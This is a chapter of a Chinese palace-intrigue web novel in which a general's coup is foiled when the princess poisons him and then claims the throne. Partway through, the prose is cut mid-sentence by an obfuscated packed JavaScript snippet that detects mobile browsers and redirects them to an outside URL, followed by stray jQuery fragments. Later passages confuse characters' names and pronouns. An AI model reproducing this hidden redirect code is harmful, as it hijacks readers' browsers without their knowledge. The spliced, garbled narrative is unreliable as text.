比急报先传来的是京都流民的风言风语，这些百姓从安西诸州逃亡来，带来了一些消息。


    凉州军久攻不下，节节败退，主将重伤，一传十十传百，京都开始人人自危，朝堂上几番争议，都开始想要派官员前去劝降。


    李原看着请求支援的急报，这样沉重的消息压在朝堂上，赵康却起了别的心思，谏言让沈夺前去查看战况，暂作支援。


    始终说不上的话的世家本是两边不站的，但此刻也急了眼，大骂赵康不顾京都百姓安危，都这个时候了，竟然还是不出兵，一味去指派沈家，剿匪的兵力本就不够，安西易守难攻，此番凉州军前去尚且讨不到什么便宜，让沈家去不是白白送死吗。


    赵康也把话说了个明白，反驳问，那就让我去送死吗。


    龙椅上的人面色不善，听着底下乌烟瘴气的吵闹，最后将赵康留下。


    赵康垂首恭立，李原的声音听不出喜怒。


    “凉州既已经有了退败之势，你灵州兵力趁势而上，这是大功一件。”


    赵家驻在京都的兵力不多，但是灵州若是全都调动，和凉州也是有一战之机的，去攻打安西，未必不能赢。


    可赵康哪里愿意，那凉州愿意是因为宫里那位长公主，若是没有她，那么眼下都是隔岸观火，灵州在京都根基尚浅，若是此战耗损过大，那得不偿失。


    赵康迟疑道：“这战败的消息……”


    李原道：“贺浑在长公主身边安置了人，有书信往来，消息属实。”


    这下赵康也不禁挑了挑眉稍，沉吟许久，却说了另一件事，“小妹在宫中不得陛下欢心，实在令赵家惶恐，不能为天家绵延子嗣，臣深感忧心。”


    这话便是在明目张胆地威胁李原了，若是不能宠信皇后，那赵家不会为他驱使。


    李原曾站在下面看着无用的父皇，而今他坐在这皇位上，却只觉没有什么不同，一样的可笑。


    他面上淡淡，“卿不必忧心，皇后甚好，只是朕政务繁忙罢了。”


    赵康立在殿内，沉默半晌，最后道：“容臣准备粮草调度兵力。”


    夜晚，李昭茹坐在赵康怀里，如果仔细看可以瞧见她的肩在细细地发抖，她面上镇定。


    屋外进来人，李昭茹想要从他身上下去，却被按住。


    李昭茹捏紧了手指，这不是什么宠爱，而是羞辱。


    把她这个公主取乐一样羞辱。


    赵康的手停在她腰间，底下的人俯首，不敢抬头看。


    赵康问：“陛下今夜去了皇后宫里？”


    那人回答：“还未，长公主昏迷不醒，陛下……还在她宫里照顾。”


    赵康挥挥手，那人便下去了。


    李昭茹面上淡淡，赵康手向上抚过她的脸，“瞧瞧，咱们这位陛下还真是……”


    李昭茹咬牙，“她自小在贾太后膝下长大，和陛下情分非同一般。”


    赵康捏着她耳朵，“眼下火烧眉毛了，连装装样子都不肯，还想要我灵州冲锋陷阵，这如意算盘打得也太好了。”


    李昭茹低声，“你当真不出兵？”


    赵康笑，“自然……是要出兵的。”


    李昭茹看着他的眼神，实实在在地后背一凉。


    灵州调兵的消息暂时安稳了人心，京都上下都开始调动着，京都守备空虚，府兵有还不如没有，只勉强能够在城中布防，稳住百姓罢了。


    迎晖宫宫门紧闭，安凉长公主养病的消息不胫而走，京都的香油供应暂时搁置，京都各大商会几次递消息想要见长公主的人一面，却都不能行，一时间愁眉惨淡，有的几乎要关了铺子，损失惨重，越到战时各大寺庙反而多了许多人，来来往往。


    路边的乞儿捧着破碗，衣不蔽体，日影阴沉着，抬头时，已经变天了。


    赵芷捏着帕子来回踱步，面如金纸。


    李昭茹看着一身铠甲的赵康，脸上的汗落到了眼睛里，她咬唇颤着声音，“你……”


    赵康勾着唇角，“要我为别人打天下，痴人说梦。”


    只有篡位，把玉玺捏在自己手里，为自己打天下，他才会出兵。


    赵康捏着李昭茹的下巴，“你我老实待在这里，还有你一条命，否则……别怪爷翻脸无情。”


    李昭茹眨着眼，那恐惧几乎掩盖不住，赵康冷哼一声，他抬脚离开，身后的声音讷讷。


    “夫君。”


    赵康挑眉，李昭茹倒了杯酒递给他，“定要小心。”


    赵康轻笑，拿过那杯酒一饮而尽。


    皇宫大内一片寂静，但很快，这寂静被打破。


    尖锐的叫声混着兵器的声响。


    王舒连滚带爬地跑到圣德殿，“陛下！不好了！陛下！赵康……他反了。”


    李原站起来，脸上的血色退得干干净净，一旁的金吾卫上前护驾。


    可这些人显然无法抵抗赵康的兵力，更不用说这宫里的左禁军本就好多是赵家安插的人。


    沈明很快身披铠甲走上前，“陛下先走，臣等可以抵挡一阵。”


    李原站在那里，看着远处越来越近的火把和刀剑，“朕不走。”


    他看着沈明，“去……护好迎晖宫和重华宫。”


    沈明为难的样子，眼下这个样子怕是已经晚了，再分出兵力也无济于事。


    与此同时，李昭鱼在殿内缓缓睁开了眼。


    王舒的脑袋被踩在脚下，赵康一踢，咕噜噜地滚到了一旁。


    李原隔着人和他对视，“乱臣贼子！”


    赵康哈哈大笑，“乱臣贼子也是陛下的刀，您自己握不住又怪得了谁？把玉玺交出来，否则今夜这皇宫怕是都得浸了血，灵州兵已经在京都附近了，凉州分身乏术，我劝陛下还是不要挣扎了。”


    李原攥拳，“你休想！你敢篡权，人人得而诛之，天下人不会放过你的！”


    赵康不想废话，“把长公主请来，我倒要看看这玉玺我今日能不能拿到。”


    火把照亮了整个皇宫，血腥的气味飘散，各个门内外都被重兵把守，这场猝不及防的宫变一切都很顺利。


    李昭鱼被压着上前，裙摆挨着地上的刀剑，发出哗啦的声响，赵康伸手将她揽过，都不需要用刀威胁，语气轻飘飘，“长公主别来无恙啊。”


    李昭鱼苍白的面容下竟也露了一点笑意，刺了赵康的眼，他讥讽，“都到了这个地步了，长公主还真是泰山崩于前面不改色呢。”


    李昭鱼盯着他，“本公主只是没想到你狼子野心至此，不过也是意料之中，要你为别人打天下，费一兵一卒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603908|163737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你也是不甘心的。”


    强盗本性，豪强做派，无外乎此。


    赵康自觉今夜是运筹帷幄，她抬手把刀架在李昭鱼脖颈上，“你要不要猜一猜，你的皇兄是要江山还是要你。”


    短促而尖锐的叫声传来，沈婉均不是从哪个方向跑过来，她扑在李原身上，不顾一切地挡在他面前。


    “原儿！不能交玉玺，他不敢杀你，他得位不正很快就会被拉下来，你万不可答应交玉玺，今日就算是这皇宫上下都死了也不能答应他！”


    赵康挑眉，抬起刀锋，“那就先那沈太妃开刀吧。”


    沈婉均厉声斥骂，几乎是泣血一般的神情，可自始至终没有看李昭鱼一眼。


    李昭鱼抬眼，看向了沈婉均，扯着嘴角笑了笑，李原看见了她，紧紧皱着眉头，却在她的眼睛里看到了气定神闲。


    与此同时，谁都没有注意到赵康口鼻里溢出来的血，他察觉到不对但已经晚了，嗓子被一股气隔着，一句话也说不出，手里的刀在将要落下时被李昭鱼反手接住。


    血流如注，沈太妃转身时眼睛对上了染血的李昭鱼，也不禁登时大骇，神色震惊，她抬眼四望时响箭已经破空。


    周围的人慌乱无主，看向那倒下的赵康时几乎是震惊到无以复加。


    皇宫里不知从哪里冒出来的劲兵，厮杀声音震天动地而来，圣德殿被层层包围，杨玄和阿章护在李昭鱼身前。


    杨玄横刀劈砍阶前的人，护送李昭鱼到殿内，武库里藏着的几队精兵尽出，望楼里的哨声响起，藏在京都的凉州近卫早就准备就绪。


    外面有杨玄和阿章，可以以一敌百，而最重要的是，赵康死了。


    那原本左卫中的陈家人头一个调转剑锋，投靠了李昭鱼一边。


    殿内。


    沈婉均跌坐在地上，没有了一点力气，她大口地喘息，等到反应过来时候看见了李昭鱼的眼神。


    她拧眉，“你……”


    沈婉均勉强整理好神情，“昭鱼，母妃是为了大晋……方才……”


    她的话音在李昭鱼的脸色中逐渐消下去，看着这个神情，还有什么不清楚的。


    她都知道了。


    可是……怎么会？这不可能。


    沈婉均看着她，“你怎么会？”


    殿外的火光有一瞬照亮了李昭鱼的眉眼，将她的影子延伸拉长，触及到了殿内的梁柱。


    贾太后抬眼望向柱子后面的人影，她跌坐在地上，喘息艰难，几乎是无意识地落了泪，满眼茫然不知所措。


    贾太后跪在地上，似乎是一瞬间老了十岁，李昭鱼喃喃的声音落在她耳边。


    “不可能……这不可能……怎么会……”


    贾太后闭上了眼睛，“我对你严苛，费尽心思教导你，从来不是想要让你去衡量哪方势力，我是想……让你坐上那个位置。”


    李昭鱼压低的声音里是撕心裂肺的泣不成声。


    李原望着她，李昭鱼走上前，他们相对而立。


    无比熟悉，也无比陌生。


    她摸着李原身上的龙袍，“皇兄这个位置……不如让给我来坐吧。”


    轰隆隆的雷声响起，冰雹砸在地面上，霹雳吧啦的响声混着彻夜未绝的刀剑声响，都在日升时归于平静了。